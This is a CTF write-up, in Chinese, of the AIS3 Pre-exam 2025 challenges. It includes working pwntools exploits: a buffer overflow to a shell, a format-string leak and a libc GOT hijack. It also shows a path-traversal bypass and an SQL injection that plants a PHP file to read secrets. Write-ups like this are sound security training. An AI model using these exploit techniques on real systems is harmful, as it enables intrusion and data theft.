# AIS3 Pre-exam 2025 writeup [TOC] author:`YJK` ID:`YJK` ![image](https://hackmd.io/_uploads/ByQ_D-NGee.png) ## Misc ### Welcome ![image](https://hackmd.io/_uploads/BJNwOZNMll.png =400x) flag: `AIS3{Welcome_And_Enjoy_The_CTF_!}` 免費 flag,但要自己輸入,不要 ctrl c+ctrl v,會拿到 fake flag ### Ramen CTF ![image](https://hackmd.io/_uploads/BydAY7NMlx.png =400x) flag: `AIS3{樂山溫泉拉麵:蝦拉麵}` 圖片右邊有一張發票條碼沒有被擋 ![chal](https://hackmd.io/_uploads/ryw8574feg.jpg =400x) ![2025-05-24 11 18 21](https://hackmd.io/_uploads/r1zwc7EGel.png =300x) 掃描之後發現應該是蝦拉麵,發票上店家是平和溫泉拉麵店 ![image](https://hackmd.io/_uploads/HJp0jXEMxl.png =200x) ![image](https://hackmd.io/_uploads/rJYk3XNGxl.png =200x) google 之後發現地址是 `宜蘭縣礁溪鄉德陽村礁溪路五段108巷1號` ![image](https://hackmd.io/_uploads/Sk9NhQEMlx.png) 此地址在 google map 上是 `樂山溫泉拉麵` ![image](https://hackmd.io/_uploads/HyPu2XNfxx.png =300x) ### AIS3 Tiny Server - Web / Misc ![image](https://hackmd.io/_uploads/H1CSaXNGeg.png =400x) flag: `AIS3{tInY_we8_53RV3R_WItH_FIle_8R0Ws1n9_@s_@_Fe@TuRe}` 雖然題目敘述說建議 local 先解解看,~~但我直接開 instance~~, 點進去會發現是題目簡介網頁,並發現網址給了 index.html ![image](https://hackmd.io/_uploads/S1DbCmEfxx.png =400x) 另外題目有給小提示,專注在第一個提示就好 ![image](https://hackmd.io/_uploads/r1YNCXEMlx.png =400x) 因為前面 index.html 的因素,直接訪問 http://chals1.ais3.org:20148/ ,會發現是個 file server 的感覺 ![image](https://hackmd.io/_uploads/Hyh5CX4Mxx.png =400x) 不過這可能只是當初開 file server 指定的目錄,而不是機器的 root 目錄,嘗試透過 http://chals1.ais3.org:20148// ,跳脫上去試試看,發現應該是 root 目錄,直接訪問檔案 ![image](https://hackmd.io/_uploads/HkgZy4EMxe.png) ![image](https://hackmd.io/_uploads/r1381EEfxl.png) ## Reverse ### web flag checker ![image](https://hackmd.io/_uploads/ry6lxNEfxe.png =400x) flag: `AIS3{W4SM_R3v3rsing_w17h_g0_4pp_39229dd}` 頁面是 flag checker ![image](https://hackmd.io/_uploads/H1julNEzlg.png) f12 後發現有 index.js 和 index.wasm ![image](https://hackmd.io/_uploads/HJUigNEzeg.png) 推測應該是要考 wasm,所以載下來看,那這邊有關於 wasm 的 toolkit https://github.com/WebAssembly/wabt ,我是使用 wasm2c 先轉回去可讀性相對高的 c code 直接看轉回來的 c code 會發現有個 flag checker 的 function,直接看那個 function ![image](https://hackmd.io/_uploads/rJUVMNNzge.png) decompile 後程式碼有點長,這邊就不全部貼上來了 ![image](https://hackmd.io/_uploads/H1DtMV4zgl.png) 分析完之後發現應該是把 flag 分成 5 段並且跟某個值去做相對應位數的 rotate,後面是給 AI 去寫 script 的,整理之後 script 如下: ```py= import struct def rotr64(value, amount): amount &= 63 return ((value >> amount) | (value << (64 - amount))) & 0xFFFFFFFFFFFFFFFF def solve(): targets = [ 7577352992956835434, 7148661717033493303, 11365297244963462525, 10967302686822111791, 8046961146294847270 ] magic = 4255033133 flag = "" for i in range(5): shift = (magic >> (i * 6)) & 0x3F original = rotr64(targets[i], shift) block = struct.pack('<Q', original).decode('ascii', errors='replace') flag += block flag = flag.rstrip('\x00') return flag if __name__ == "__main__": result = solve() print(f"Flag: {result}") ``` ### AIS3 Tiny Server - Reverse ![image](https://hackmd.io/_uploads/S1BWr4Vfxx.png =400x) flag: `AIS3{w0w_a_f1ag_check3r_1n_serv3r_1s_c00l!!!}` 把檔案載下來丟 ida 之後發現 function 很少就 function 點一點,發現有個可疑的 function ![image](https://hackmd.io/_uploads/SkQrO4NMgx.png =300x) 後面也沒什麼逆邏輯,就直接把 v8 那邊轉一轉然後去跟 `rikki_l0v3` 做 xor 就有 flag 了,script 如下 ```py= from pwn import xor v8 = [ 1480073267, 1197221906, 254628393, 920154, 1343445007, 874076697, 1127428440, 1510228243, 743978009, 54940467, 1246382110 ] s = b"".join(i.to_bytes(4, 'little') for i in v8) key = b"rikki_l0v3" result = xor(s, key) print(result.decode('utf-8', errors='ignore')) ``` ### A_simple_snake_game ![image](https://hackmd.io/_uploads/SkEm9SNflg.png =400x) flag: `AIS3{CH3aT_Eng1n3?_0fcau53_I_bo_1T_by_hAnD}` 簡單的貪食蛇遊戲 ![image](https://hackmd.io/_uploads/r1prcBEfex.png =400x) 直接丟 ida 看一下,並且感覺這種題目應該是分數到了會噴 flag,所以直接看 function 有個 `SnakeGame::Screen::drawText`,可能是輸出文字的,感覺有個可疑的數值跟一些在做 xor 的操作 ![image](https://hackmd.io/_uploads/BJKHjH4fxe.png =500x) 就直接把數值跟他 xor 的部分拉出來做一次就發現是 flag,script 如下 ```py= hex_array1 = [ 0xC0, 0x19, 0x3A, 0xFD, 0xCE, 0x68, 0xDC, 0xF2, 0x0C, 0x47, 0xD4, 0x86, 0xAB, 0x57, 0x39, 0xB5, 0x3A, 0x8D, 0x13, 0x47, 0x3F, 0x7F, 0x71, 0x98, 0x6D, 0x13, 0xB4, 0x01, 0x90, 0x9C, 0x46, 0x3A, 0xC6, 0x33, 0xC2, 0x7F, 0xDD, 0x71, 0x78, 0x9F, 0x93, 0x22, 0x55, 0x15 ] print(len(hex_array1)) v14 = [-831958911, -1047254091, -1014295699, -620220219, 2001515017, -317711271, 1223368792, 1697251023, 496855031, -569364828, 26365] encoded_bytes = b"".join(int(x).to_bytes(4, byteorder='little', signed=True) for x in v14) encoded_string = encoded_bytes[:44] decoded_string = ''.join(chr(encoded_string[i] ^ hex_array1[i]) for i in range(len(encoded_string))) print("FLAG: ", decoded_string) ``` ## PWN ### Welcome to the World of Ave Mujica🌙 ![image](https://hackmd.io/_uploads/HJNe3H4zgg.png =400x) flag: `AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._17a08e4f063f52a071ed1d36efcbf205}` 檔案載下來丟 ida 然後會發現一開始先輸入 yes 會進下一個 stage,然後接下來會用 `read_int8()` 讀入數字並且將數字直接當作後續 read buffer 的長度 ![image](https://hackmd.io/_uploads/Hk-gyLEGxl.png =400x) 接下來看一下 `read_int8()`,會發現會用 atoi() 把字串轉數字,接下來確認是否 <= 127,再來使用 unsigned int 強制轉型回去正數,因此如果輸入負數即可繞過 <= 127 的檢查並且得到一個很大的數字,也代表可以讓 overflow 的空間變大 ![image](https://hackmd.io/_uploads/Hy-brUNzlg.png) 另外還有一個 function 是可以開 shell ![image](https://hackmd.io/_uploads/ByI6BUVGgl.png) 確認一下保護機制,沒開 PIE、沒有 canary,所以可以直接 ret2func 開 shell ![image](https://hackmd.io/_uploads/B1a1II4fgg.png) script 如下 ```py= from pwn import * r = process("./chal") r = remote("chals1.ais3.org", 60143) r.sendline(b"yes") r.sendline(b"-1") payload = b"A" * (0xa0 + 0x8) + p64(0x401256) sleep(1) r.sendline(payload) r.interactive() ``` ### Format Number ![image](https://hackmd.io/_uploads/rJCULLEfxl.png =400x) flag: `AIS3{S1d3_ch@nn3l_0n_fOrM47_strln&_!!!}` source code: ```c= #include <stdio.h> #include <fcntl.h> #include <stdlib.h> #include <time.h> #include <ctype.h> #include <string.h> void check_format(char *format) { for (int i = 0; format[i] != '\0'; i++) { char c = format[i]; if (c == '\n') { format[i] = '\0'; return; } if (!isdigit(c) && !ispunct(c)) { printf("Error format !\n"); exit(1); } } } int main() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); srand(time(NULL)); int number = rand(); int fd = open("/home/chal/flag.txt", O_RDONLY); char flag[0x100] = {0}; read(fd, flag, 0xff); close(fd); char format[0x10] = {0}; printf("What format do you want ? "); read(0, format, 0xf); check_format(format); char buffer[0x20] = {0}; strcpy(buffer, "Format number : %3$"); strcat(buffer, format); strcat(buffer, "d\n"); printf(buffer, "Welcome", "~~~", number); return 0; } ``` 在第 43 行有 fmt 的問題,然後第 40~42 會發現可以控制 `%3$`、`d`,中間的字串,但會檢查是否是數字或是符號,因此不能直接改變 type,並且要跳脫出 `%3$` 的部分,不然會一直控不了參數,我這邊使用 `%3$2-` 直接跳脫出去,後面可以隨意指定第幾個值,接下來就是暴力找出 flag 所在的 index 值然後再轉回去字元就可以了,經過測試會在 20~59,script 如下 ```py= from pwn import * flag = "" for i in range(20,59,1): r = remote('chals1.ais3.org', 50960) payload = f"%3$2-%{i}$" r.sendlineafter(b'? ', payload.encode()) num = r.recvline().strip().split(b'%3$2-')[-1] flag += chr(int(num.decode())) r.close() print(flag) ``` ### MyGO schedule manager α (賽後解出) ![image](https://hackmd.io/_uploads/rkpSfqNzgg.png =400x) flag: `AIS3{MyGO!!!!!T0m0rin_1s_cut3@u_a2r_mAsr3r_0f_CP1usp1us_string_a2d_0verf10w!_alpha_v3r2on_have_br0ken...Go_p1ay_b3ta!}` source code ```cpp= #include <iostream> #include <vector> #include <string> #include <cstring> #include <cstdlib> // g++ chal.cpp -o chal -no-pie -z relro -z now -s struct schedule{ char title[0x16]; std::string content; }; int SCHEDULE_STATUS = 0; schedule* sched = nullptr; void init_proc(){ setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); std::cin.rdbuf()->pubsetbuf(nullptr, 0); std::cout.rdbuf()->pubsetbuf(nullptr, 0); puts("+======= alpha ========+"); puts("| Band schedule system |"); puts("+======================+"); } void debug_backdoor(){ system("/bin/sh"); } void menu(){ puts("+======================+"); puts("| (1) create schedule |"); puts("| (2) edit title |"); puts("| (3) edit content |"); puts("| (4) show schedule |"); puts("+======================+"); printf("< MyGO @ ScheduleManager $ > "); } int get_choice(){ int choice; scanf("%d", &choice); return choice; } void create(){ if(SCHEDULE_STATUS == 0){ sched = new(std::nothrow) schedule; if (sched == nullptr) { puts("[x] Memory allocation failed!"); exit(0); } puts("MyGO @ sched title > "); std::cin >> sched->title; puts("MyGO @ sched content > "); std::cin >> sched->content; SCHEDULE_STATUS = 1; puts("[!] Create Success !!!"); } else { puts("[x] Your schedule have been created"); return; } } void edit_title(){ if (SCHEDULE_STATUS == 1){ puts("MyGO @ sched title > "); std::cin >> sched->title; puts("[!] Edit Success"); } else { puts("[x] Schdule Not Found ... "); return; } } void edit_content(){ if (SCHEDULE_STATUS == 1){ puts("MyGO @ sched content > "); std::cin >> sched->content; puts("[!] Edit Success"); } else { puts("[x] Schdule Not Found ... "); return; } } void show(){ if (SCHEDULE_STATUS == 1){ printf("===== Schedule =====\n"); printf("MyGO @ Title : %15s\n", sched -> title); printf("MyGO @ Content : %s\n", sched -> content.c_str()); printf("====================\n"); } else { puts("[x] Schdule Not Found ... "); return; } } void login(){ char username[0x10]; char password[0x10]; printf("Username > "); scanf("%15s", username); printf("Password > "); scanf("%15s", password); if (strcmp(username, "MyGO!!!!!") == 0 && strcmp(password, "TomorinIsCute") == 0){ puts("\033[34m"); puts("========================================="); puts(" ____ _____ "); puts(" /'\\_/`\\ /\\ _`\\ /\\ __`\\ "); puts("/\\ \\ __ __\\ \\ \\L\\_\\ \\ \\/\\ \\ "); puts("\\ \\ \\__\\ \\/\\ \\/\\ \\\\ \\ \\L_L\\ \\ \\ \\ \\ "); puts(" \\ \\ \\_/\\ \\ \\ \\_\\ \\\\ \\ \\/, \\ \\ \\_\\ \\ "); puts(" \\ \\_\\\\ \\_\\/`____ \\\\ \\____/\\ \\_____\\"); puts(" \\/_/ \\/_/`/___/> \\\\/___/ \\/_____/"); puts(" /\\___/ "); puts(" \\/__/ "); puts("========================================="); puts("\033[0m"); puts("[!] This is a system that can manage your band schedule."); return; } else { puts("[x] Verify Failed"); exit(0); } } int main() { init_proc(); int choice; int index; login(); while(1){ menu(); choice = get_choice(); if (choice == 1){ create(); } else if (choice == 2){ edit_title(); } else if (choice == 3){ edit_content(); } else if (choice == 4){ show(); } else { break; } } return 0; } ``` 可以發現是選單題,不過沒有 free,可能可以初步排除 UAF 的問題,接下來有 create、edit title、edit content、show 的功能,另外 create、edit 的部分其實都是用 cin,這部分其實跟 C++ PWN 沒有那麼熟,不過好像 cin 可能會有 overflow 的風險,因此測試看看,會發現程式並沒有 crash 並且成功寫入,但會發現 content 不見了 測試腳本如下 ```py= #!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.log_level = 'info' def create(r, title, content): r.sendlineafter('> ', b'1') r.sendlineafter('title > ', title) r.sendlineafter('content > ', content) def edit_title(r, title): r.sendlineafter('> ', b'2') r.sendlineafter('title > ', title) def edit_content(r, content): r.sendlineafter('> ', b'3') r.sendlineafter('content > ', content) def show(r): r.sendlineafter('> ', b'4') def login(r): r.sendlineafter('Username > ', b"MyGO!!!!!") r.sendlineafter('Password > ', b"TomorinIsCute") # r = process('./chal') r = remote('chals1.ais3.org', 51000) login(r) create(r, b'a' * 0x16, b'b' * 0x16) edit_title(r, b'a' * 24) show(r) r.interactive() ``` ![image](https://hackmd.io/_uploads/ByS_S94Geg.png =600x) 然後後面 ida 之後才發現原來 edit title 可能會覆蓋到 edit content 拿到要寫入的值,並且如果 gdb 進去看結構會發現 0x4042C8 + 24 其實是儲存一個 address,因此我們如果 overflow title 的部分就代表會覆蓋到 address,所以才會導致 show 的時候拿不到值,因為 show 也是使用相同方式拿資料的,這部分就不 gdb 進去 demo 了,而這也代表我們可以將要寫資料的 address 直接透過 overflow title 的部分,接下來 edit content 的時候就會寫到那一塊了,但要注意,要記得 vmmap 看一下那一段是否可寫,不然寫了會 crash ![image](https://hackmd.io/_uploads/Syfg8cVGlx.png) ![image](https://hackmd.io/_uploads/Sy--89EGel.png) 那既然拿到任意寫,究竟要任意寫去哪裡,這時候看到 source code 會發現有個 debug_backdoor 是可以直接開 shell 的,因此我們只要 control flow 到那個 backdoor 就可以了,但會發現 schedule 結構上沒有 function pointer,然後確認一下保護機制會發現 Full RELRO,所以程式上的 got 也不可寫 ![image](https://hackmd.io/_uploads/Hk3DvqVGge.png) 這時候就來到最有趣的時候了,我原本以為沒有給 libc 應該是可以不用打 libc,但最後也只有想到 libc 有個 got table 可以寫,最後就結束了,但後面覺得應該只差一點點,所以就乾脆直接把題目架起來,接下來進入 container 把 linker、loader 拉出來做 patchelf,但最後發現有些會 patch 失敗,所以就果斷進去 container 並且把 debug 環境處理好,然後一步一步跟著 debugger 走,會發現跟過去看過的 [Libc-GOT-Hijacking](https://github.com/n132/Libc-GOT-Hijacking)相同,有一個段落會是一堆 ABS 之類的,中間會跳到一段可寫的 got table,基本上我也沒在記哪邊可以寫,但可以好好關注以下圖片的可寫段,或是其他沒有圈起來但是他有 write 權限,如果中間有 jmp 到某段可以寫的,並且那邊看起來是一個 address,就可以嘗試寫寫看,就有機會可以 control flow ![image](https://hackmd.io/_uploads/B1iN594Gxl.png) 那就會發現我們會需要利用 libc,那就需要 leak libc,這時就可以利用 show 的部分,我們可以填入某個 got,那藉由 show 的功能去看 content 就可以察看到某個 libc address,所以只要藉由這樣的方式是就可以去計算 libc 的 base,以下是 leak libc base address 的 script ```py= #!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.log_level = 'info' def create(r, title, content): r.sendlineafter('> ', b'1') r.sendlineafter('title > ', title) r.sendlineafter('content > ', content) def edit_title(r, title): r.sendlineafter('> ', b'2') r.sendlineafter('title > ', title) def edit_content(r, content): r.sendlineafter('> ', b'3') r.sendlineafter('content > ', content) def show(r): r.sendlineafter('> ', b'4') def login(r): r.sendlineafter('Username > ', b"MyGO!!!!!") r.sendlineafter('Password > ', b"TomorinIsCute") # r = process('./chal') r = remote('chals1.ais3.org', 51000) login(r) put_got = 0x0000000000403fd0 write = 0x321098 win = 0x4013EC create(r, b'a' * 0x16, b'b' * 0x16) edit_title(r, b'a' * 24 + p64(put_got)) show(r) r.recvuntil(b'Content : ') leak = r.recvuntil(b'\n', drop=True) addr = u64(leak.ljust(8, b'\x00')) log.info(f'Leaked address: {hex(addr)}') libc_base = addr - 0x187e50 log.info(f'Libc base address: {hex(libc_base)}') r.interactive() ``` ![image](https://hackmd.io/_uploads/S1-0c9EGlg.png =400x) 接下來只需要去找可以 control flow 的可寫段,並且把那一段寫成 backdoor function 就可以 control flow 了,而這部分就不多贅述,而我最後是寫到 puts 的 libc got table,因為這樣在寫完之後就可以直接 get shell(寫完之後本來會輸出 Edit Success),以下是完整 script ```py= #!/usr/bin/env python3 from pwn import * context.arch = 'amd64' context.log_level = 'info' def create(r, title, content): r.sendlineafter('> ', b'1') r.sendlineafter('title > ', title) r.sendlineafter('content > ', content) def edit_title(r, title): r.sendlineafter('> ', b'2') r.sendlineafter('title > ', title) def edit_content(r, content): r.sendlineafter('> ', b'3') r.sendlineafter('content > ', content) def show(r): r.sendlineafter('> ', b'4') def login(r): r.sendlineafter('Username > ', b"MyGO!!!!!") r.sendlineafter('Password > ', b"TomorinIsCute") # r = process('./chal') r = remote('chals1.ais3.org', 51000) login(r) put_got = 0x0000000000403fd0 write = 0x321098 win = 0x4013EC create(r, b'a' * 0x16, b'b' * 0x16) edit_title(r, b'a' * 24 + p64(put_got)) show(r) r.recvuntil(b'Content : ') leak = r.recvuntil(b'\n', drop=True) addr = u64(leak.ljust(8, b'\x00')) log.info(f'Leaked address: {hex(addr)}') libc_base = addr - 0x187e50 log.info(f'Libc base address: {hex(libc_base)}') log.info(f'Writable address: {hex(libc_base + write)}') edit_title(r, b'a' * 24 + p64(libc_base + write)) edit_content(r, p64(win)) r.interactive() ``` ## Web ### Tomorin db 🐧 ![image](https://hackmd.io/_uploads/SJ_TIpEfee.png =400x) flag: `AIS3{G01ang_H2v3_a_c0O1_way!!!_Us3ing_C0NN3ct_M3Th07_L0l@T0m0r1n_1s_cute_D0_yo7_L0ve_t0MoRIN?}` 網頁點進去是一個簡單的 file server ![image](https://hackmd.io/_uploads/HJPUw64zxl.png) 看程式碼發現如果訪問 /flag 會 redirect 到 `https://youtu.be/lQuWN0biOBU?si=SijTXQCn9V3j4Rl6`,所以使用 `%2f` 繞過,`http://chals1.ais3.org:30000/%2fflag` ![image](https://hackmd.io/_uploads/H1zuDpEfgg.png) ### Login Screen 1 ![image](https://hackmd.io/_uploads/By4nvpNMgx.png) flag: `AIS3{1.Es55y_SQL_1nJ3ct10n_w1th_2fa_IuABDADGeP0}` 點進去發現可以用 guest/guest 登入,直接登入 ![image](https://hackmd.io/_uploads/ByvgOTNGgx.png) 登入之後需要 2fa,一樣使用 guest 的 2fa ![image](https://hackmd.io/_uploads/SyNfuaVMxl.png) 會發現只有 admin 可以看 flag ![image](https://hackmd.io/_uploads/SkK4dp4zxg.png) 由此可以猜想應該有個 username 是 admin,另外密碼直接猜測弱密碼 admin 之後發現可以登入,但還是需要 2fa,觀察檔案會發現會有一個 users.db 儲存資訊,加上網址感覺可以直接讀檔案,所以直接嘗試 users.db,發現可以成功下載 ![image](https://hackmd.io/_uploads/HyYgY6Ezel.png) 讀取 users.db 會發現有個 table 是 users,再看內容會發現應該分別是儲存帳號、密碼、2fa code ![image](https://hackmd.io/_uploads/HJf1qTNfeg.png) 輸入 admin 的 2fa code 即可獲得 flag ![image](https://hackmd.io/_uploads/rJbWq6VGle.png) ### Login Screen 2 ![image](https://hackmd.io/_uploads/rkOjcpEzge.png =400x) flag: `AIS3{2.Nyan_Nyan_File_upload_jWvuUeUyyKU}` 觀察 docker-compose.yml 會發現 flag2 被寫在環境變數,並且觀察其他檔案發現沒有任何頁面嘗試獲取 flag2 ```yml= services: cms: build: ./cms ports: - "36368:80" volumes: - ./cms/html/2fa.php:/var/www/html/2fa.php:ro - ./cms/html/dashboard.php:/var/www/html/dashboard.php:ro - ./cms/html/index.php:/var/www/html/index.php:ro - ./cms/html/init.php:/var/www/html/init.php:ro - ./cms/html/logout.php:/var/www/html/logout.php:ro - ./cms/html/users.db:/var/www/html/users.db:ro - ./cms/html/styles.css:/var/www/html/styles.css:ro environment: - FLAG1=AIS3{1.This_is_the_first_test_flag} - FLAG2=AIS3{2.This_is_the_second_test_flag} ``` 觀察 index.php 會發現 username 的值會直接被串接進去 SQL 裡面,並且不會事先經過任何處理,所以有 sql injection 風險 ![image](https://hackmd.io/_uploads/Bky4oTEzle.png) 所以可以透過這邊去做 sql injection 再 RCE 把 flag 寫在可以造訪的到的檔案,不過這邊因為我沒有到擅長 web 因此 payload 部分是使用 AI 構建的,Login Screen 1、2 解題 script 如下 ```py= import requests import re import time BASE_URL = "http://login-screen.ctftime.uk:36368" def get_flag1(): print("=== 獲取 FLAG1 ===") session = requests.Session() print("[+] 訪問首頁...") response = session.get(f"{BASE_URL}/") print("[+] 使用 admin/admin 登入...") login_data = { 'username': 'admin', 'password': 'admin' } response = session.post(f"{BASE_URL}/index.php", data=login_data) if "2FA" not in response.text: print("[-] 登入失敗") return None print("[+] 登入成功,重定向到2FA頁面") print("[+] 輸入2FA碼...") fa_data = { 'code': '51756447753485459839' } response = session.post(f"{BASE_URL}/2fa.php", data=fa_data) if "Welcome" not in response.text: print("[-] 2FA驗證失敗") return None print("[+] 2FA驗證成功") if "AIS3{" in response.text: flag_match = re.search(r'AIS3\{[^}]+\}', response.text) if flag_match: flag1 = flag_match.group(0) print(f"[*] FLAG1: {flag1}") return flag1 print("[-] 未找到FLAG1") return None def get_flag(): print("\n=== 獲取 FLAG2 ===") rce_payload = "admin'; ATTACH DATABASE '/var/www/html/flag.php' AS flag; CREATE TABLE flag.content(data BLOB); INSERT INTO flag.content VALUES ('<?php echo \"FLAG2: \" . getenv(\"FLAG2\"); ?>'); --" session = requests.Session() print("[+] 訪問首頁...") response = session.get(f"{BASE_URL}/") print("[+] 執行SQL注入payload...") print(f"[*] Payload: {rce_payload[:80]}...") login_data = { 'username': rce_payload, 'password': 'admin' } response = session.post(f"{BASE_URL}/index.php", data=login_data) if "2FA" not in response.text: print("[-] SQL注入失敗") return None print("[+] SQL注入成功,到達2FA頁面") print("[+] 執行2FA驗證以觸發SQL執行...") fa_data = {'code': '51756447753485459839'} fa_response = session.post(f"{BASE_URL}/2fa.php", data=fa_data) if "Welcome" not in fa_response.text: print("[-] 2FA失敗,但檔案可能已經創建") else: print("[+] SQL執行成功") print("[+] 訪問創建的檔案 /flag.php...") time.sleep(1) try: file_response = requests.get(f"{BASE_URL}/flag.php") if file_response.status_code != 200: print("[-] 檔案不存在") return None print(f"[+] 檔案存在,大小: {len(file_response.text)} bytes") if "AIS3{" in file_response.text: flag_match = re.search(r'(AIS3\{[^}]+\})', file_response.text) if flag_match: flag = flag_match.group(1) print(f"[*] FLAG2: {flag}") return flag print("[-] 檔案中未找到FLAG2") print(f"[*] 檔案內容預覽: {file_response.text[:200]}") return None except Exception as e: print(f"[-] 訪問檔案失敗: {e}") return None def main(): print("LoginScreen2 CTF Challenge - Complete Exploit") print("=" * 50) flag1 = get_flag1() flag = get_flag() print("\n" + "=" * 50) print("攻擊結果:") if flag1: print(f"✅ FLAG1: {flag1}") else: print("❌ FLAG1: 獲取失敗") if flag: print(f"✅ FLAG2: {flag}") else: print("❌ FLAG2: 獲取失敗") if flag1 and flag: print("\n🎉 兩個FLAG都成功獲取!") else: print("\n⚠️ 部分FLAG獲取失敗") if __name__ == "__main__": main() ``` ## Crypto 跟去年相同都沒有碰